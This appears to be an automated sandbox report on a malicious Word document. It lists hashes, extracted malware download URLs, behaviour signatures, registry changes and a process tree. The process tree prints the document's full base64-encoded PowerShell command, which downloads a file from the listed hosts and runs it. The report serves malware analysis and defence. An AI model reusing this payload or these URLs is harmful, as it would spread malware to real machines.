Analysis
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max time kernel
113s -
max time network
119s -
platform
windows7_x64 -
resource
win7 -
submitted
01-08-2020 19:37
Static task
static1
Behavioral task
behavioral1
Sample
SecuriteInfo.com.Exploit.Siggen2.12288.27237.7429.doc
Resource
win7
Behavioral task
behavioral2
Sample
SecuriteInfo.com.Exploit.Siggen2.12288.27237.7429.doc
Resource
win10
General
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Target
SecuriteInfo.com.Exploit.Siggen2.12288.27237.7429.doc
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Size
170KB
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MD5
2fb02ab60274d396a7c01d5917ff21ec
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SHA1
cc78cb81517d7b18434964dd029efb6e06857e96
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SHA256
e547fe2a6107ee0731916d3a03179c18b54bf227ea86eed3cadf25fd0df77901
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SHA512
f00a3c380c7e23d546aee05f528aae402c0102de1988da4436616be7cd0ed1ba3e499b78c77dbfe628d544aa45c6426775d8442ca4816dcafdda52b2cf03030a
Malware Config
Extracted
http://iclebyte.com/uPD6c443/
http://iberfoods.com/site/UHaa7627/
http://yumiwong.com/img/Hct998/
http://www.ymdc786.com/connectors/0u9462/
https://yusufpaintings.com/cgi-bin/symNCd/
Signatures
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Suspicious use of SetWindowsHookEx 2 IoCs
Processes:
WINWORD.EXEpid process 1060 WINWORD.EXE 1060 WINWORD.EXE -
Process spawned unexpected child process 1 IoCs
This typically indicates the parent process was compromised via an exploit or macro.
Processes:
powersheLL.exedescription pid pid_target process target process Parent C:\Windows\system32\wbem\wmiprvse.exe is not expected to spawn this process 1052 776 powersheLL.exe -
Blacklisted process makes network request 6 IoCs
Processes:
powersheLL.exeflow pid process 5 1052 powersheLL.exe 7 1052 powersheLL.exe 9 1052 powersheLL.exe 11 1052 powersheLL.exe 13 1052 powersheLL.exe 15 1052 powersheLL.exe -
Modifies registry class 280 IoCs
Processes:
WINWORD.EXEdescription ioc process Set value (str) \REGISTRY\USER\S-1-5-21-1131729243-447456001-3632642222-1000_CLASSES\Wow6432Node\Interface\{5512D115-5CC6-11CF-8D67-00AA00BDCE1D}\ = "IWHTMLReset" WINWORD.EXE Key created \REGISTRY\USER\S-1-5-21-1131729243-447456001-3632642222-1000_CLASSES\Wow6432Node\Interface\{5512D11B-5CC6-11CF-8D67-00AA00BDCE1D} WINWORD.EXE Key created \REGISTRY\USER\S-1-5-21-1131729243-447456001-3632642222-1000_CLASSES\Interface\{8BD21D32-EC42-11CE-9E0D-00AA006002F3} WINWORD.EXE Set value (str) \REGISTRY\USER\S-1-5-21-1131729243-447456001-3632642222-1000_CLASSES\Wow6432Node\Interface\{8BD21D52-EC42-11CE-9E0D-00AA006002F3}\ = "MdcOptionButtonEvents" WINWORD.EXE Key created \REGISTRY\USER\S-1-5-21-1131729243-447456001-3632642222-1000_CLASSES\Interface\{04598FC2-866C-11CF-AB7C-00AA00C08FCF} WINWORD.EXE Key created \REGISTRY\USER\S-1-5-21-1131729243-447456001-3632642222-1000_CLASSES\Interface\{5512D113-5CC6-11CF-8D67-00AA00BDCE1D} WINWORD.EXE Key created \REGISTRY\USER\S-1-5-21-1131729243-447456001-3632642222-1000_CLASSES\Interface\{47FF8FE2-6198-11CF-8CE8-00AA006CB389} WINWORD.EXE Set value (str) \REGISTRY\USER\S-1-5-21-1131729243-447456001-3632642222-1000_CLASSES\Wow6432Node\Interface\{92E11A03-7358-11CE-80CB-00AA00611080}\ = "Pages" WINWORD.EXE Set value (str) \REGISTRY\MACHINE\SOFTWARE\Classes\TypeLib\{10B87EF2-FE62-4FF9-AE50-C71451A9DA88}\2.0\ = "Microsoft Forms 2.0 Object Library" WINWORD.EXE Key created \REGISTRY\USER\S-1-5-21-1131729243-447456001-3632642222-1000_CLASSES\Wow6432Node\Interface\{29B86A70-F52E-11CE-9BCE-00AA00608E01} WINWORD.EXE Key created \REGISTRY\USER\S-1-5-21-1131729243-447456001-3632642222-1000_CLASSES\Interface\{8BD21D43-EC42-11CE-9E0D-00AA006002F3} WINWORD.EXE Key created \REGISTRY\USER\S-1-5-21-1131729243-447456001-3632642222-1000_CLASSES\Interface\{8BD21D62-EC42-11CE-9E0D-00AA006002F3} WINWORD.EXE Set value (str) \REGISTRY\USER\S-1-5-21-1131729243-447456001-3632642222-1000_CLASSES\Wow6432Node\Interface\{5CEF5613-713D-11CE-80C9-00AA00611080}\ = "IPage" WINWORD.EXE Key created \REGISTRY\USER\S-1-5-21-1131729243-447456001-3632642222-1000_CLASSES\TypeLib WINWORD.EXE Key created \REGISTRY\USER\S-1-5-21-1131729243-447456001-3632642222-1000_CLASSES\Interface\{8A683C90-BA84-11CF-8110-00A0C9030074} WINWORD.EXE Set value (str) \REGISTRY\USER\S-1-5-21-1131729243-447456001-3632642222-1000_CLASSES\Interface\{5512D113-5CC6-11CF-8D67-00AA00BDCE1D}\ = "IWHTMLImage" WINWORD.EXE Key created \REGISTRY\USER\S-1-5-21-1131729243-447456001-3632642222-1000_CLASSES\Wow6432Node\Interface\{8BD21D12-EC42-11CE-9E0D-00AA006002F3} WINWORD.EXE Set value (str) \REGISTRY\USER\S-1-5-21-1131729243-447456001-3632642222-1000_CLASSES\Interface\{47FF8FE3-6198-11CF-8CE8-00AA006CB389}\ = "WHTMLControlEvents4" WINWORD.EXE Key created \REGISTRY\USER\S-1-5-21-1131729243-447456001-3632642222-1000_CLASSES\Interface\{47FF8FE3-6198-11CF-8CE8-00AA006CB389} WINWORD.EXE Set value (str) \REGISTRY\USER\S-1-5-21-1131729243-447456001-3632642222-1000_CLASSES\Interface\{82B02372-B5BC-11CF-810F-00A0C9030074}\ = "IReturnString" WINWORD.EXE Set value (str) \REGISTRY\USER\S-1-5-21-1131729243-447456001-3632642222-1000_CLASSES\Interface\{79176FB3-B7F2-11CE-97EF-00AA006D2776}\ = "ISpinbutton" WINWORD.EXE Key created \REGISTRY\USER\S-1-5-21-1131729243-447456001-3632642222-1000_CLASSES\Interface\{5512D119-5CC6-11CF-8D67-00AA00BDCE1D} WINWORD.EXE Set value (str) \REGISTRY\USER\S-1-5-21-1131729243-447456001-3632642222-1000_CLASSES\Wow6432Node\Interface\{47FF8FE1-6198-11CF-8CE8-00AA006CB389}\ = "WHTMLControlEvents2" WINWORD.EXE Set value (str) \REGISTRY\USER\S-1-5-21-1131729243-447456001-3632642222-1000_CLASSES\Interface\{5CEF5613-713D-11CE-80C9-00AA00611080}\ = "IPage" WINWORD.EXE Set value (str) \REGISTRY\USER\S-1-5-21-1131729243-447456001-3632642222-1000_CLASSES\Interface\{8BD21D13-EC42-11CE-9E0D-00AA006002F3}\ = "IMdcText" WINWORD.EXE Key created \REGISTRY\USER\S-1-5-21-1131729243-447456001-3632642222-1000_CLASSES\Interface\{8BD21D33-EC42-11CE-9E0D-00AA006002F3} WINWORD.EXE Set value (str) \REGISTRY\USER\S-1-5-21-1131729243-447456001-3632642222-1000_CLASSES\Interface\{7B020EC2-AF6C-11CE-9F46-00AA00574A4F}\ = "ScrollbarEvents" WINWORD.EXE Set value (str) \REGISTRY\USER\S-1-5-21-1131729243-447456001-3632642222-1000_CLASSES\Interface\{796ED650-5FE9-11CF-8D68-00AA00BDCE1D}\ = "WHTMLControlEvents" WINWORD.EXE Set value (str) \REGISTRY\USER\S-1-5-21-1131729243-447456001-3632642222-1000_CLASSES\Wow6432Node\Interface\{47FF8FE3-6198-11CF-8CE8-00AA006CB389}\ = "WHTMLControlEvents4" WINWORD.EXE Set value (str) \REGISTRY\MACHINE\SOFTWARE\Classes\TypeLib\{10B87EF2-FE62-4FF9-AE50-C71451A9DA88}\2.0\HELPDIR\ = "C:\\Users\\Admin\\AppData\\Local\\Temp\\VBE" WINWORD.EXE Key created \REGISTRY\USER\S-1-5-21-1131729243-447456001-3632642222-1000_CLASSES\Interface\{04598FC6-866C-11CF-AB7C-00AA00C08FCF} WINWORD.EXE Key created \REGISTRY\USER\S-1-5-21-1131729243-447456001-3632642222-1000_CLASSES\Wow6432Node\Interface\{8BD21D33-EC42-11CE-9E0D-00AA006002F3} WINWORD.EXE Set value (str) \REGISTRY\USER\S-1-5-21-1131729243-447456001-3632642222-1000_CLASSES\TypeLib\{10B87EF2-FE62-4FF9-AE50-C71451A9DA88}\2.0\FLAGS\ = "6" WINWORD.EXE Set value (str) \REGISTRY\USER\S-1-5-21-1131729243-447456001-3632642222-1000_CLASSES\Wow6432Node\Interface\{82B02370-B5BC-11CF-810F-00A0C9030074}\ = "IReturnInteger" WINWORD.EXE Key created \REGISTRY\USER\S-1-5-21-1131729243-447456001-3632642222-1000_CLASSES\Wow6432Node\Interface\{04598FC6-866C-11CF-AB7C-00AA00C08FCF} WINWORD.EXE Set value (str) \REGISTRY\USER\S-1-5-21-1131729243-447456001-3632642222-1000_CLASSES\Wow6432Node\Interface\{5512D11F-5CC6-11CF-8D67-00AA00BDCE1D}\ = "IWHTMLPassword" WINWORD.EXE Key created \REGISTRY\USER\S-1-5-21-1131729243-447456001-3632642222-1000_CLASSES\Wow6432Node\Interface\{8BD21D52-EC42-11CE-9E0D-00AA006002F3} WINWORD.EXE Key created \REGISTRY\USER\S-1-5-21-1131729243-447456001-3632642222-1000_CLASSES\Wow6432Node\Interface\{47FF8FE0-6198-11CF-8CE8-00AA006CB389} WINWORD.EXE Set value (str) \REGISTRY\USER\S-1-5-21-1131729243-447456001-3632642222-1000_CLASSES\Wow6432Node\Interface\{29B86A70-F52E-11CE-9BCE-00AA00608E01}\ = "IOptionFrame" WINWORD.EXE Set value (str) \REGISTRY\USER\S-1-5-21-1131729243-447456001-3632642222-1000_CLASSES\Wow6432Node\Interface\{8BD21D63-EC42-11CE-9E0D-00AA006002F3}\ = "IMdcToggleButton" WINWORD.EXE Set value (str) \REGISTRY\USER\S-1-5-21-1131729243-447456001-3632642222-1000_CLASSES\Wow6432Node\Interface\{4C599243-6926-101B-9992-00000B65C6F9}\ = "IImage" WINWORD.EXE Set value (str) \REGISTRY\USER\S-1-5-21-1131729243-447456001-3632642222-1000_CLASSES\Wow6432Node\Interface\{7B020EC2-AF6C-11CE-9F46-00AA00574A4F}\ = "ScrollbarEvents" WINWORD.EXE Set value (str) \REGISTRY\USER\S-1-5-21-1131729243-447456001-3632642222-1000_CLASSES\Wow6432Node\Interface\{47FF8FE6-6198-11CF-8CE8-00AA006CB389}\ = "WHTMLControlEvents7" WINWORD.EXE Set value (str) \REGISTRY\USER\S-1-5-21-1131729243-447456001-3632642222-1000_CLASSES\Interface\{CF3F94A0-F546-11CE-9BCE-00AA00608E01}\ = "OptionFrameEvents" WINWORD.EXE Key created \REGISTRY\USER\S-1-5-21-1131729243-447456001-3632642222-1000_CLASSES\Wow6432Node\Interface\{8BD21D43-EC42-11CE-9E0D-00AA006002F3} WINWORD.EXE Set value (str) \REGISTRY\USER\S-1-5-21-1131729243-447456001-3632642222-1000_CLASSES\Interface\{5512D11F-5CC6-11CF-8D67-00AA00BDCE1D}\ = "IWHTMLPassword" WINWORD.EXE Key created \REGISTRY\USER\S-1-5-21-1131729243-447456001-3632642222-1000_CLASSES\TypeLib\{10B87EF2-FE62-4FF9-AE50-C71451A9DA88}\2.0\0\win32 WINWORD.EXE Set value (str) \REGISTRY\USER\S-1-5-21-1131729243-447456001-3632642222-1000_CLASSES\Wow6432Node\Interface\{5512D111-5CC6-11CF-8D67-00AA00BDCE1D}\ = "IWHTMLSubmitButton" WINWORD.EXE Set value (str) \REGISTRY\USER\S-1-5-21-1131729243-447456001-3632642222-1000_CLASSES\Interface\{47FF8FE8-6198-11CF-8CE8-00AA006CB389}\ = "WHTMLControlEvents9" WINWORD.EXE Set value (str) \REGISTRY\USER\S-1-5-21-1131729243-447456001-3632642222-1000_CLASSES\Interface\{7B020EC8-AF6C-11CE-9F46-00AA00574A4F}\ = "MultiPageEvents" WINWORD.EXE Set value (str) \REGISTRY\USER\S-1-5-21-1131729243-447456001-3632642222-1000_CLASSES\Wow6432Node\Interface\{8BD21D33-EC42-11CE-9E0D-00AA006002F3}\ = "IMdcCombo" WINWORD.EXE Key created \REGISTRY\USER\S-1-5-21-1131729243-447456001-3632642222-1000_CLASSES\Wow6432Node\Interface\{7B020EC1-AF6C-11CE-9F46-00AA00574A4F} WINWORD.EXE Key created \REGISTRY\USER\S-1-5-21-1131729243-447456001-3632642222-1000_CLASSES\Wow6432Node\Interface\{47FF8FE5-6198-11CF-8CE8-00AA006CB389} WINWORD.EXE Set value (str) \REGISTRY\USER\S-1-5-21-1131729243-447456001-3632642222-1000_CLASSES\Wow6432Node\Interface\{9A4BBF53-4E46-101B-8BBD-00AA003E3B29}\ = "ControlEvents" WINWORD.EXE Key created \REGISTRY\USER\S-1-5-21-1131729243-447456001-3632642222-1000_CLASSES\Interface\{04598FC3-866C-11CF-AB7C-00AA00C08FCF} WINWORD.EXE Set value (str) \REGISTRY\USER\S-1-5-21-1131729243-447456001-3632642222-1000_CLASSES\Interface\{5512D125-5CC6-11CF-8D67-00AA00BDCE1D}\ = "IWHTMLTextArea" WINWORD.EXE Set value (str) \REGISTRY\USER\S-1-5-21-1131729243-447456001-3632642222-1000_CLASSES\Wow6432Node\Interface\{47FF8FE4-6198-11CF-8CE8-00AA006CB389}\ = "WHTMLControlEvents5" WINWORD.EXE Key created \REGISTRY\USER\S-1-5-21-1131729243-447456001-3632642222-1000_CLASSES\TypeLib\{10B87EF2-FE62-4FF9-AE50-C71451A9DA88}\2.0 WINWORD.EXE Key created \REGISTRY\USER\S-1-5-21-1131729243-447456001-3632642222-1000_CLASSES\Interface\{29B86A70-F52E-11CE-9BCE-00AA00608E01} WINWORD.EXE Key created \REGISTRY\USER\S-1-5-21-1131729243-447456001-3632642222-1000_CLASSES\Interface\{04598FC8-866C-11CF-AB7C-00AA00C08FCF} WINWORD.EXE Key created \REGISTRY\USER\S-1-5-21-1131729243-447456001-3632642222-1000_CLASSES\Wow6432Node\Interface\{9A4BBF53-4E46-101B-8BBD-00AA003E3B29} WINWORD.EXE Set value (str) \REGISTRY\USER\S-1-5-21-1131729243-447456001-3632642222-1000_CLASSES\Wow6432Node\Interface\{8BD21D43-EC42-11CE-9E0D-00AA006002F3}\ = "IMdcCheckBox" WINWORD.EXE Set value (str) \REGISTRY\USER\S-1-5-21-1131729243-447456001-3632642222-1000_CLASSES\Wow6432Node\Interface\{7B020EC7-AF6C-11CE-9F46-00AA00574A4F}\ = "TabStripEvents" WINWORD.EXE Key created \REGISTRY\USER\S-1-5-21-1131729243-447456001-3632642222-1000_CLASSES\Wow6432Node\Interface\{47FF8FE1-6198-11CF-8CE8-00AA006CB389} WINWORD.EXE -
Drops file in System32 directory 1 IoCs
Processes:
powersheLL.exedescription ioc process File opened for modification C:\Windows\System32\%ProgramData%\Microsoft\Windows\Start Menu\Programs\Accessories\Windows PowerShell\Windows PowerShell.lnk powersheLL.exe -
Suspicious behavior: AddClipboardFormatListener 1 IoCs
Processes:
WINWORD.EXEpid process 1060 WINWORD.EXE -
Suspicious use of AdjustPrivilegeToken 1 IoCs
Processes:
powersheLL.exedescription pid process Token: SeDebugPrivilege 1052 powersheLL.exe -
Suspicious behavior: EnumeratesProcesses 2 IoCs
Processes:
powersheLL.exepid process 1052 powersheLL.exe 1052 powersheLL.exe -
Office loads VBA resources, possible macro or embedded object present
Processes
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C:\Program Files\Microsoft Office\Office14\WINWORD.EXE"C:\Program Files\Microsoft Office\Office14\WINWORD.EXE" /n "C:\Users\Admin\AppData\Local\Temp\SecuriteInfo.com.Exploit.Siggen2.12288.27237.7429.doc"1⤵
- Suspicious use of SetWindowsHookEx
- Modifies registry class
- Suspicious behavior: AddClipboardFormatListener
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C:\Windows\System32\WindowsPowerShell\v1.0\powersheLL.exepowersheLL -e JABPAE8AVgBBAEsAZQB5AHAAPQAnAFoAVgBVAEEARwBnAHEAYQAnADsAWwBOAGUAdAAuAFMAZQByAHYAaQBjAGUAUABvAGkAbgB0AE0AYQBuAGEAZwBlAHIAXQA6ADoAIgBzAGUAQwBVAFIASQBUAHkAYABwAHIAYABvAHQAbwBDAG8AbAAiACAAPQAgACcAdABsAHMAMQAyACwAIAB0AGwAcwAxADEALAAgAHQAbABzACcAOwAkAFAASQBXAFoATQB6AHMAcQAgAD0AIAAnADMAMgAwACcAOwAkAFoAUQBIAEQAWABkAGYAcAA9ACcATQBUAEsARwBUAGMAZQBzACcAOwAkAFEASQBaAFkATgBhAHEAbQA9ACQAZQBuAHYAOgB1AHMAZQByAHAAcgBvAGYAaQBsAGUAKwAnAFwAJwArACQAUABJAFcAWgBNAHoAcwBxACsAJwAuAGUAeABlACcAOwAkAFAAWABVAEEAWQB2AHIAcQA9ACcAUABCAFEASgBNAHIAZgBxACcAOwAkAFUARQBDAEEATgB4AHEAcgA9ACYAKAAnAG4AZQB3AC0AbwBiACcAKwAnAGoAZQAnACsAJwBjAHQAJwApACAATgBFAHQALgB3AGUAQgBDAGwASQBFAE4AdAA7ACQAWQBFAEkAVQBLAGYAdgB5AD0AJwBoAHQAdABwADoALwAvAGkAYwBsAGUAYgB5AHQAZQAuAGMAbwBtAC8AdQBQAEQANgBjADQANAAzAC8AKgBoAHQAdABwADoALwAvAGkAYgBlAHIAZgBvAG8AZABzAC4AYwBvAG0ALwBzAGkAdABlAC8AVQBIAGEAYQA3ADYAMgA3AC8AKgBoAHQAdABwADoALwAvAHkAdQBtAGkAdwBvAG4AZwAuAGMAbwBtAC8AaQBtAGcALwBIAGMAdAA5ADkAOAAvACoAaAB0AHQAcAA6AC8ALwB3AHcAdwAuAHkAbQBkAGMANwA4ADYALgBjAG8AbQAvAGMAbwBuAG4AZQBjAHQAbwByAHMALwAwAHUAOQA0ADYAMgAvACoAaAB0AHQAcABzADoALwAvAHkAdQBzAHUAZgBwAGEAaQBuAHQAaQBuAGcAcwAuAGMAbwBtAC8AYwBnAGkALQBiAGkAbgAvAHMAeQBtAE4AQwBkAC8AJwAuACIAUwBwAEwAYABpAFQAIgAoAFsAYwBoAGEAcgBdADQAMgApADsAJABIAEwAWABYAEUAcAB2AGMAPQAnAE8AUABBAFgAQwBuAGUAawAnADsAZgBvAHIAZQBhAGMAaAAoACQATQBGAEoAWQBLAGMAdABoACAAaQBuACAAJABZAEUASQBVAEsAZgB2AHkAKQB7AHQAcgB5AHsAJABVAEUAQwBBAE4AeABxAHIALgAiAEQAbwBgAFcATgBMAG8AQQBgAEQAZgBpAGAAbABlACIAKAAkAE0ARgBKAFkASwBjAHQAaAAsACAAJABRAEkAWgBZAE4AYQBxAG0AKQA7ACQAUwBaAFMATQBNAGcAdgBxAD0AJwBNAEMARwBUAEIAZAB0AHgAJwA7AEkAZgAgACgAKAAuACgAJwBHAGUAdAAtAEkAJwArACcAdABlACcAKwAnAG0AJwApACAAJABRAEkAWgBZAE4AYQBxAG0AKQAuACIATABgAEUATgBnAFQASAAiACAALQBnAGUAIAAyADUAOAAzADgAKQAgAHsAKABbAHcAbQBpAGMAbABhAHMAcwBdACcAdwBpAG4AMwAyAF8AUAByAG8AYwBlAHMAcwAnACkALgAiAEMAcgBFAGEAYABUAEUAIgAoACQAUQBJAFoAWQBOAGEAcQBtACkAOwAkAFMAVABGAEUAVgBqAGMAYgA9ACcAUwBaAEMARQBDAGcAbQBxACcAOwBiAHIAZQBhAGsAOwAkAFYAWQBSAEIATwBiAGoAYQA9ACcAVQBOAFgARQBFAGcAcQByACcAfQB9AGMAYQB0AGMAaAB7AH0AfQAkAE0AVgBXAEMASgBlAG8AeAA9ACcASgBYAEUATQBPAG0AYwBjACcA1⤵
- Process spawned unexpected child process
- Blacklisted process makes network request
- Drops file in System32 directory
- Suspicious use of AdjustPrivilegeToken
- Suspicious behavior: EnumeratesProcesses
Network
MITRE ATT&CK Matrix
Replay Monitor
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Downloads
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memory/1060-2-0x00000000089A0000-0x00000000089A4000-memory.dmpFilesize
16KB
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memory/1060-5-0x000000000A9F0000-0x000000000A9F4000-memory.dmpFilesize
16KB
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memory/1060-6-0x000000000BA70000-0x000000000BA74000-memory.dmpFilesize
16KB
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memory/1060-7-0x0000000006D20000-0x0000000006F20000-memory.dmpFilesize
2.0MB
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memory/1060-8-0x0000000006D20000-0x0000000006F20000-memory.dmpFilesize
2.0MB
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memory/1060-9-0x0000000002020000-0x0000000002021000-memory.dmpFilesize
4KB